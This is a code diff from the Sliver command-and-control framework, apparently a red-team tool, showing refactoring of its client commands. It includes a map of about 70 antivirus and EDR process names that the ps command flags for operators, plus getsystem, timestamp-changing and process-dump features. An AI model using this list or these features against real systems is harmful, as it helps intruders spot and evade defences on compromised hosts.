carapace.Gen(chtimesCmd).PositionalCompletion(
|
||||
carapace.ActionValues().Usage("path to file to change access timestamps"),
|
||||
carapace.ActionValues().Usage("last accessed time in DateTime format, i.e. 2006-01-02 15:04:05"),
|
||||
carapace.ActionValues().Usage("last modified time in DateTime format, i.e. 2006-01-02 15:04:05"),
|
||||
carapace.ActionValues().Usage("last accessed time (default: 2006-01-02 15:04:05; see --help for format flags)"),
|
||||
carapace.ActionValues().Usage("last modified time (default: 2006-01-02 15:04:05; see --help for format flags)"),
|
||||
)
|
||||
|
||||
getprivsCmd := &cobra.Command{
|
||||
|
||||
@@ -26,6 +26,7 @@ import (
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
)
|
||||
@@ -44,6 +45,17 @@ func GetSystemCmd(cmd *cobra.Command, con *console.SliverClient, args []string)
|
||||
|
||||
process, _ := cmd.Flags().GetString("process")
|
||||
config := con.GetActiveSessionConfig()
|
||||
|
||||
/* If the HTTP C2 Config name is not defined, then put in the default value
|
||||
This will have no effect on implants that do not use HTTP C2
|
||||
Also this should be overridden when the build info is pulled from the
|
||||
database, but if there is no build info and we have to create the build
|
||||
from scratch, we need to have something in here.
|
||||
*/
|
||||
if config.HTTPC2ConfigName == "" {
|
||||
config.HTTPC2ConfigName = consts.DefaultC2Profile
|
||||
}
|
||||
|
||||
ctrl := make(chan bool)
|
||||
con.SpinUntil("Attempting to create a new sliver session as 'NT AUTHORITY\\SYSTEM'...", ctrl)
|
||||
|
||||
|
||||
@@ -1,6 +1,7 @@
|
||||
package processes
|
||||
|
||||
import (
|
||||
"github.com/bishopfox/sliver/client/command/completers"
|
||||
"github.com/rsteube/carapace"
|
||||
"github.com/spf13/cobra"
|
||||
"github.com/spf13/pflag"
|
||||
@@ -56,6 +57,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
flags.BindFlagCompletions(procdumpCmd, func(comp *carapace.ActionMap) {
|
||||
(*comp)["save"] = carapace.ActionFiles()
|
||||
})
|
||||
completers.RegisterLocalFilePathFlagCompletion(procdumpCmd, "save")
|
||||
|
||||
terminateCmd := &cobra.Command{
|
||||
Use: consts.TerminateStr,
|
||||
|
||||
+107
-107
@@ -36,77 +36,77 @@ import (
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
)
|
||||
|
||||
// Stylizes known processes in the `ps` command
|
||||
var knownSecurityTools = map[string][]string{
|
||||
// Process Name -> [Color, Stylized Name]
|
||||
"ccSvcHst.exe": {console.Red, "Symantec Endpoint Protection"}, // Symantec Endpoint Protection (SEP)
|
||||
"cb.exe": {console.Red, "Carbon Black"}, // Carbon Black
|
||||
"RepMgr.exe": {console.Red, "Carbon Black Cloud Sensor"}, // Carbon Black Cloud Sensor
|
||||
"RepUtils.exe": {console.Red, "Carbon Black Cloud Sensor"}, // Carbon Black Cloud Sensor
|
||||
"RepUx.exe": {console.Red, "Carbon Black Cloud Sensor"}, // Carbon Black Cloud Sensor
|
||||
"RepWSC.exe": {console.Red, "Carbon Black Cloud Sensor"}, // Carbon Black Cloud Sensor
|
||||
"scanhost.exe": {console.Red, "Carbon Black Cloud Sensor"}, // Carbon Black Cloud Sensor
|
||||
"elastic-agent.exe": {console.Red, "Elastic Agent"}, // Elastic Agent
|
||||
"elastic-endpoint.exe": {console.Red, "Elastic Agent"}, // Elastic Agent
|
||||
"filebeat.exe": {console.Red, "Elastic Agent"}, // Elastic Agent - log shipper
|
||||
"metricbeat.exe": {console.Red, "Elastic Agent"}, // Elastic Agent - metric shipper
|
||||
"smartscreen.exe": {console.Red, "Windows Smart Screen"}, // Windows Defender Smart Screen
|
||||
"MpCmdRun.exe": {console.Red, "Windows Defender"}, // Windows Defender Command-line
|
||||
"MonitoringHost.exe": {console.Red, "Windows Defender"}, // Microsoft Monitoring Agent
|
||||
"HealthService.exe": {console.Red, "Windows Defender"}, // Microsoft Monitoring Agent
|
||||
"MsMpEng.exe": {console.Red, "Windows Defender"}, // Windows Defender (Service Executable)
|
||||
"NisSrv.exe": {console.Red, "Windows Defender"}, // Windows Defender (Network Realtime Inspection)
|
||||
"SenseIR.exe": {console.Red, "Windows Defender MDE"}, // Windows Defender Endpoint (Live Response Session)
|
||||
"SenseNdr.exe": {console.Red, "Windows Defender MDE"}, // Windows Defender Endpoint (Network Detection and Response)
|
||||
"SenseSC.exe": {console.Red, "Windows Defender MDE"}, // Windows Defender Endpoint (Screenshot Capture Module)
|
||||
"SenseCE.exe": {console.Red, "Windows Defender MDE"}, // Windows Defender Endpoint (Classification Engine Module)
|
||||
"SenseCM.exe": {console.Red, "Windows Defender MDE"}, // Windows Defender Endpoint (Configuration Management Module)
|
||||
"SenseSampleUploader.exe": {console.Red, "Windows Defender MDE"}, // Windows Defender Endpoint (Sample Uploader Module)
|
||||
"SenseCncProxy.exe": {console.Red, "Windows Defender MDE"}, // Windows Defender Endpoint (Communication Module)
|
||||
"MsSense.exe": {console.Red, "Windows Defender MDE"}, // Windows Defender Endpoint (Service Executable)
|
||||
"CSFalconService.exe": {console.Red, "CrowdStrike"}, // Crowdstrike Falcon Service
|
||||
"CSFalconContainer.exe": {console.Red, "CrowdStrike"}, // CrowdStrike Falcon Container Security
|
||||
"bdservicehost.exe": {console.Red, "Bitdefender"}, // Bitdefender (Total Security)
|
||||
"bdagent.exe": {console.Red, "Bitdefender"}, // Bitdefender (Total Security)
|
||||
"bdredline.exe": {console.Red, "Bitdefender"}, // Bitdefender Redline Update Service (Source https://community.bitdefender.com/en/discussion/82135/bdredline-exe-bitdefender-total-security-2020)
|
||||
"Deep Security Manager.exe": {console.Red, "Trend Micro"}, // TM Deep Security Manager
|
||||
"coreServiceShell.exe": {console.Red, "Trend Micro"}, // TM Anti-malware scan process
|
||||
"ds_monitor.exe": {console.Red, "Trend Micro"}, // TM Deep Security Monitor
|
||||
"Notifier.exe": {console.Red, "Trend Micro"}, // TM Deep Security Notifier's process
|
||||
"dsa.exe": {console.Red, "Trend Micro"}, // TM Agent's main process
|
||||
"ds_nuagent.exe": {console.Red, "Trend Micro"}, // TM Advanced TLS traffic inspection
|
||||
"coreFrameworkHost.exe": {console.Red, "Trend Micro"}, // TM Anti-malware scan process
|
||||
"SentinelServiceHost.exe": {console.Red, "SentinelOne"}, // Sentinel One
|
||||
"SentinelStaticEngine.exe": {console.Red, "SentinelOne"}, // Sentinel One
|
||||
"SentinelStaticEngineScanner.exe": {console.Red, "SentinelOne"}, // Sentinel One
|
||||
"SentinelAgent.exe": {console.Red, "SentinelOne"}, // Sentinel One
|
||||
"SentinelAgentWorker.exe": {console.Red, "SentinelOne"}, // Sentinel One
|
||||
"SentinelHelperService.exe": {console.Red, "SentinelOne"}, // Sentinel One
|
||||
"SentinelBrowserNativeHost.exe": {console.Red, "SentinelOne"}, // Sentinel One
|
||||
"SentinelUI.exe": {console.Red, "SentinelOne"}, // Sentinel One
|
||||
"Sysmon.exe": {console.Red, "Sysmon"}, // Sysmon
|
||||
"Sysmon64.exe": {console.Red, "Sysmon64"}, // Sysmon64
|
||||
"CylanceSvc.exe": {console.Red, "Cylance"}, // Cylance
|
||||
"CylanceUI.exe": {console.Red, "Cylance"}, // Cylance
|
||||
"TaniumClient.exe": {console.Red, "Tanium"}, // Tanium
|
||||
"TaniumCX.exe": {console.Red, "Tanium"}, // Tanium
|
||||
"TaniumDetectEngine.exe": {console.Red, "Tanium"}, // Tanium
|
||||
"collector.exe": {console.Red, "Rapid 7 Collector"}, // Rapid 7 Insight Platform Collector
|
||||
"ir_agent.exe": {console.Red, "Rapid 7 Insight Agent"}, // Rapid 7 Insight Agent
|
||||
"eguiproxy.exe": {console.Red, "ESET Security"}, // ESET Internet Security
|
||||
"ekrn.exe": {console.Red, "ESET Security"}, // ESET Internet Security
|
||||
"efwd.exe": {console.Red, "ESET Security"}, // ESET Internet Security
|
||||
"AmSvc.exe": {console.Red, "Cybereason ActiveProbe"}, // Cybereason ActiveProbe
|
||||
"CrAmTray.exe": {console.Red, "Cybereason ActiveProbe"}, // Cybereason ActiveProbe
|
||||
"CrsSvc.exe": {console.Red, "Cybereason ActiveProbe"}, // Cybereason ActiveProbe
|
||||
"CybereasonAV.exe": {console.Red, "Cybereason ActiveProbe"}, // Cybereason ActiveProbe
|
||||
"cortex-xdr-payload.exe": {console.Red, "Palo Alto Cortex"}, // Cortex XDR - offline triage
|
||||
"cysandbox.exe": {console.Red, "Palo Alto Cortex"}, // Cortex XDR - sandbox
|
||||
"cyuserservice.exe": {console.Red, "Palo Alto Cortex"}, // Cortex XDR - user service
|
||||
"cywscsvc.exe": {console.Red, "Palo Alto Cortex"}, // Cortex XDR - security center service
|
||||
"tlaworker.exe": {console.Red, "Palo Alto Cortex"}, // Cortex XDR - local analysis worker
|
||||
"AEEngine.exe": {console.Red, "Faronics Anti-Executable"}, // Faronics Anti-Executable - security service
|
||||
"Antiexecutable.exe": {console.Red, "Faronics Anti-Executable"}, // Faronics Anti-Executable - gui and tray icon
|
||||
// Known security tools shown by `ps`/`pstree`.
|
||||
// Process executable -> product name.
|
||||
var knownSecurityTools = map[string]string{
|
||||
"ccSvcHst.exe": "Symantec Endpoint Protection", // Symantec Endpoint Protection (SEP)
|
||||
"cb.exe": "Carbon Black", // Carbon Black
|
||||
"RepMgr.exe": "Carbon Black Cloud Sensor", // Carbon Black Cloud Sensor
|
||||
"RepUtils.exe": "Carbon Black Cloud Sensor", // Carbon Black Cloud Sensor
|
||||
"RepUx.exe": "Carbon Black Cloud Sensor", // Carbon Black Cloud Sensor
|
||||
"RepWSC.exe": "Carbon Black Cloud Sensor", // Carbon Black Cloud Sensor
|
||||
"scanhost.exe": "Carbon Black Cloud Sensor", // Carbon Black Cloud Sensor
|
||||
"elastic-agent.exe": "Elastic Agent", // Elastic Agent
|
||||
"elastic-endpoint.exe": "Elastic Agent", // Elastic Agent
|
||||
"filebeat.exe": "Elastic Agent", // Elastic Agent - log shipper
|
||||
"metricbeat.exe": "Elastic Agent", // Elastic Agent - metric shipper
|
||||
"smartscreen.exe": "Windows Smart Screen", // Windows Defender Smart Screen
|
||||
"MpCmdRun.exe": "Windows Defender", // Windows Defender Command-line
|
||||
"MonitoringHost.exe": "Windows Defender", // Microsoft Monitoring Agent
|
||||
"HealthService.exe": "Windows Defender", // Microsoft Monitoring Agent
|
||||
"MsMpEng.exe": "Windows Defender", // Windows Defender (Service Executable)
|
||||
"NisSrv.exe": "Windows Defender", // Windows Defender (Network Realtime Inspection)
|
||||
"SenseIR.exe": "Windows Defender MDE", // Windows Defender Endpoint (Live Response Session)
|
||||
"SenseNdr.exe": "Windows Defender MDE", // Windows Defender Endpoint (Network Detection and Response)
|
||||
"SenseSC.exe": "Windows Defender MDE", // Windows Defender Endpoint (Screenshot Capture Module)
|
||||
"SenseCE.exe": "Windows Defender MDE", // Windows Defender Endpoint (Classification Engine Module)
|
||||
"SenseCM.exe": "Windows Defender MDE", // Windows Defender Endpoint (Configuration Management Module)
|
||||
"SenseSampleUploader.exe": "Windows Defender MDE", // Windows Defender Endpoint (Sample Uploader Module)
|
||||
"SenseCncProxy.exe": "Windows Defender MDE", // Windows Defender Endpoint (Communication Module)
|
||||
"MsSense.exe": "Windows Defender MDE", // Windows Defender Endpoint (Service Executable)
|
||||
"CSFalconService.exe": "CrowdStrike", // Crowdstrike Falcon Service
|
||||
"CSFalconContainer.exe": "CrowdStrike", // CrowdStrike Falcon Container Security
|
||||
"bdservicehost.exe": "Bitdefender", // Bitdefender (Total Security)
|
||||
"bdagent.exe": "Bitdefender", // Bitdefender (Total Security)
|
||||
"bdredline.exe": "Bitdefender", // Bitdefender Redline Update Service (Source https://community.bitdefender.com/en/discussion/82135/bdredline-exe-bitdefender-total-security-2020)
|
||||
"Deep Security Manager.exe": "Trend Micro", // TM Deep Security Manager
|
||||
"coreServiceShell.exe": "Trend Micro", // TM Anti-malware scan process
|
||||
"ds_monitor.exe": "Trend Micro", // TM Deep Security Monitor
|
||||
"Notifier.exe": "Trend Micro", // TM Deep Security Notifier's process
|
||||
"dsa.exe": "Trend Micro", // TM Agent's main process
|
||||
"ds_nuagent.exe": "Trend Micro", // TM Advanced TLS traffic inspection
|
||||
"coreFrameworkHost.exe": "Trend Micro", // TM Anti-malware scan process
|
||||
"SentinelServiceHost.exe": "SentinelOne", // Sentinel One
|
||||
"SentinelStaticEngine.exe": "SentinelOne", // Sentinel One
|
||||
"SentinelStaticEngineScanner.exe": "SentinelOne", // Sentinel One
|
||||
"SentinelAgent.exe": "SentinelOne", // Sentinel One
|
||||
"SentinelAgentWorker.exe": "SentinelOne", // Sentinel One
|
||||
"SentinelHelperService.exe": "SentinelOne", // Sentinel One
|
||||
"SentinelBrowserNativeHost.exe": "SentinelOne", // Sentinel One
|
||||
"SentinelUI.exe": "SentinelOne", // Sentinel One
|
||||
"Sysmon.exe": "Sysmon", // Sysmon
|
||||
"Sysmon64.exe": "Sysmon64", // Sysmon64
|
||||
"CylanceSvc.exe": "Cylance", // Cylance
|
||||
"CylanceUI.exe": "Cylance", // Cylance
|
||||
"TaniumClient.exe": "Tanium", // Tanium
|
||||
"TaniumCX.exe": "Tanium", // Tanium
|
||||
"TaniumDetectEngine.exe": "Tanium", // Tanium
|
||||
"collector.exe": "Rapid 7 Collector", // Rapid 7 Insight Platform Collector
|
||||
"ir_agent.exe": "Rapid 7 Insight Agent", // Rapid 7 Insight Agent
|
||||
"eguiproxy.exe": "ESET Security", // ESET Internet Security
|
||||
"ekrn.exe": "ESET Security", // ESET Internet Security
|
||||
"efwd.exe": "ESET Security", // ESET Internet Security
|
||||
"AmSvc.exe": "Cybereason ActiveProbe", // Cybereason ActiveProbe
|
||||
"CrAmTray.exe": "Cybereason ActiveProbe", // Cybereason ActiveProbe
|
||||
"CrsSvc.exe": "Cybereason ActiveProbe", // Cybereason ActiveProbe
|
||||
"CybereasonAV.exe": "Cybereason ActiveProbe", // Cybereason ActiveProbe
|
||||
"cortex-xdr-payload.exe": "Palo Alto Cortex", // Cortex XDR - offline triage
|
||||
"cysandbox.exe": "Palo Alto Cortex", // Cortex XDR - sandbox
|
||||
"cyuserservice.exe": "Palo Alto Cortex", // Cortex XDR - user service
|
||||
"cywscsvc.exe": "Palo Alto Cortex", // Cortex XDR - security center service
|
||||
"tlaworker.exe": "Palo Alto Cortex", // Cortex XDR - local analysis worker
|
||||
"AEEngine.exe": "Faronics Anti-Executable", // Faronics Anti-Executable - security service
|
||||
"Antiexecutable.exe": "Faronics Anti-Executable", // Faronics Anti-Executable - gui and tray icon
|
||||
}
|
||||
|
||||
// PsCmd - List processes on the remote system
|
||||
@@ -264,10 +264,10 @@ func PrintPS(os string, ps *sliverpb.Ps, interactive bool, fullInfo bool, flags
|
||||
}
|
||||
|
||||
func findKnownSecurityProducts(ps *sliverpb.Ps) []string {
|
||||
uniqProducts := map[string]string{}
|
||||
uniqProducts := map[string]struct{}{}
|
||||
for _, proc := range ps.Processes {
|
||||
if secTool, ok := knownSecurityTools[proc.Executable]; ok {
|
||||
uniqProducts[secTool[1]] = secTool[0]
|
||||
if product, ok := knownSecurityTools[proc.Executable]; ok {
|
||||
uniqProducts[product] = struct{}{}
|
||||
}
|
||||
}
|
||||
products := make([]string, 0, len(uniqProducts))
|
||||
@@ -281,15 +281,15 @@ func findKnownSecurityProducts(ps *sliverpb.Ps) []string {
|
||||
func procRow(proc *commonpb.Process, cmdLine bool, fullInfo bool, con *console.SliverClient) table.Row {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
|
||||
color := console.Normal
|
||||
if secTool, ok := knownSecurityTools[proc.Executable]; ok {
|
||||
color = secTool[0]
|
||||
style := console.StyleNormal
|
||||
if _, ok := knownSecurityTools[proc.Executable]; ok {
|
||||
style = console.StyleRed
|
||||
}
|
||||
if session != nil && proc.Pid == session.PID {
|
||||
color = console.Green
|
||||
style = console.StyleGreen
|
||||
}
|
||||
if beacon != nil && proc.Pid == beacon.PID {
|
||||
color = console.Green
|
||||
style = console.StyleGreen
|
||||
}
|
||||
|
||||
var row table.Row
|
||||
@@ -303,28 +303,28 @@ func procRow(proc *commonpb.Process, cmdLine bool, fullInfo bool, con *console.S
|
||||
args = proc.Executable
|
||||
}
|
||||
row = table.Row{
|
||||
fmt.Sprintf(color+"%d"+console.Normal, proc.Pid),
|
||||
fmt.Sprintf(color+"%d"+console.Normal, proc.Ppid),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, proc.Owner),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, proc.Architecture),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, args),
|
||||
fmt.Sprintf(color+"%d"+console.Normal, proc.SessionID),
|
||||
style.Render(fmt.Sprintf("%d", proc.Pid)),
|
||||
style.Render(fmt.Sprintf("%d", proc.Ppid)),
|
||||
style.Render(proc.Owner),
|
||||
style.Render(proc.Architecture),
|
||||
style.Render(args),
|
||||
style.Render(fmt.Sprintf("%d", proc.SessionID)),
|
||||
}
|
||||
} else {
|
||||
if fullInfo {
|
||||
row = table.Row{
|
||||
fmt.Sprintf(color+"%d"+console.Normal, proc.Pid),
|
||||
fmt.Sprintf(color+"%d"+console.Normal, proc.Ppid),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, proc.Owner),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, proc.Architecture),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, proc.Executable),
|
||||
fmt.Sprintf(color+"%d"+console.Normal, proc.SessionID),
|
||||
style.Render(fmt.Sprintf("%d", proc.Pid)),
|
||||
style.Render(fmt.Sprintf("%d", proc.Ppid)),
|
||||
style.Render(proc.Owner),
|
||||
style.Render(proc.Architecture),
|
||||
style.Render(proc.Executable),
|
||||
style.Render(fmt.Sprintf("%d", proc.SessionID)),
|
||||
}
|
||||
} else {
|
||||
row = table.Row{
|
||||
fmt.Sprintf(color+"%d"+console.Normal, proc.Pid),
|
||||
fmt.Sprintf(color+"%d"+console.Normal, proc.Ppid),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, proc.Executable),
|
||||
style.Render(fmt.Sprintf("%d", proc.Pid)),
|
||||
style.Render(fmt.Sprintf("%d", proc.Ppid)),
|
||||
style.Render(proc.Executable),
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -341,26 +341,26 @@ func procRow(proc *commonpb.Process, cmdLine bool, fullInfo bool, con *console.S
|
||||
args = proc.Executable
|
||||
}
|
||||
row = table.Row{
|
||||
fmt.Sprintf(color+"%d"+console.Normal, proc.Pid),
|
||||
fmt.Sprintf(color+"%d"+console.Normal, proc.Ppid),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, proc.Owner),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, proc.Architecture),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, args),
|
||||
style.Render(fmt.Sprintf("%d", proc.Pid)),
|
||||
style.Render(fmt.Sprintf("%d", proc.Ppid)),
|
||||
style.Render(proc.Owner),
|
||||
style.Render(proc.Architecture),
|
||||
style.Render(args),
|
||||
}
|
||||
} else {
|
||||
if fullInfo {
|
||||
row = table.Row{
|
||||
fmt.Sprintf(color+"%d"+console.Normal, proc.Pid),
|
||||
fmt.Sprintf(color+"%d"+console.Normal, proc.Ppid),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, proc.Owner),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, proc.Architecture),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, proc.Executable),
|
||||
style.Render(fmt.Sprintf("%d", proc.Pid)),
|
||||
style.Render(fmt.Sprintf("%d", proc.Ppid)),
|
||||
style.Render(proc.Owner),
|
||||
style.Render(proc.Architecture),
|
||||
style.Render(proc.Executable),
|
||||
}
|
||||
} else {
|
||||
row = table.Row{
|
||||
fmt.Sprintf(color+"%d"+console.Normal, proc.Pid),
|
||||
fmt.Sprintf(color+"%d"+console.Normal, proc.Ppid),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, proc.Executable),
|
||||
style.Render(fmt.Sprintf("%d", proc.Pid)),
|
||||
style.Render(fmt.Sprintf("%d", proc.Ppid)),
|
||||
style.Render(proc.Executable),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Loaded 100 of 5397 files, more files were not shown because too many files have changed in this diff.
Show more
Reference in new issue
Block a user